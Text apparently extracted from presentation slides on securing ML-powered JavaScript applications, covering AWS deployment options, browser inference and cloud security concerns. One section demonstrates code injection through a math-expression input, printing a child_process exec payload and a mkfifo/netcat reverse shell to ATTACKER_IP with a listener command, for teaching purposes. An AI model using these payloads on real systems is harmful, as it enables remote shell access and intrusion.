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REALITY





SHORT-TERM FINANCIAL 
OBJECTIVES VERY HIGH

LONG-TERM FINANCIAL 
OBJECTIVES HIGH

CLIENT AND CUSTOMER 
HAPPINESS HIGH

COMPLIANCE LOW

REALITY



Cyber Attack Chain
Understanding the





Enter a mathematical expression:

1 + 1

2
OUTPUT



Enter a mathematical expression:

require("child_process").exec('touch hello.txt')

???
OUTPUT



nc -nvl 14344



Enter a mathematical expression:

require("child_process").exec('mkfifo /tmp/ABC; cat 
/tmp/ABC | /bin/sh -i 2>&1 | nc <IP ADDRESS> > 
/tmp/ABC')

OUTPUT

��



nc -nvl 14344

ATTACKER MACHINE VICTIM MACHINE

MALICIOUS 
INPUT

mkfifo /tmp/ABC; 

cat /tmp/ABC | /bin/sh -i 2>&1 | nc ATTACKER_IP 14344 > /tmp/ABC



Code Review
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SECURING ML-POWERED 
JAVASCRIPT APPLICATIONS



Data Collection

Data Preparation and Cleaning

Data Visualization and Analysis

Feature Engineering

Model Training and Parameter Tuning

Model Evaluation

Model Deployment



BUILT-IN ALGORITHM + SAGEMAKER ENDPOINT

MODEL DEPLOYED IN AN EC2 INSTANCE

MODEL DEPLOYED IN A CONTAINER IN AN  EC2 INSTANCE

MODEL DEPLOYED INSIDE A LAMBDA FUNCTION

LAMBDA TRIGGERING A SAGEMAKER ENDPOINT

MODEL DEPLOYED IN FARGATE

CUSTOM CONTAINER + SAGEMAKER ENDPOINT



SERVER

SERVER-SIDE INFERENCE INFERENCE IN THE BROWSER

BROWSER

BROWSER

vs



WHY USE FOR MACHINE LEARNING?

→ PERFORM MACHINE LEARNING INFERENCE ON THE BROWSER

WORKS 
OFFLINE

HELPS WITH
DATA PRIVACY

BETTER
LATENCY

NO SERVERS 
NEEDED



(and more…)

MACHINE LEARNING
LIBRARY +

(and more…)



(and more…)

+
(and more…)(and more…)



SECURITY CONSIDERATIONS
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VULNERABILITY 
ASSESSMENT TOOL

AUTOMATED VULNERABILITY MANAGEMENT



NETWORK 
ISOLATION



HOW ABOUT IAM PRIVILEGE 
ESCALATION?



RESTRICTIVE IAM 
PERMISSIONS



HOW ABOUT DENIAL OF 
WALLET ATTACKS?





THE END
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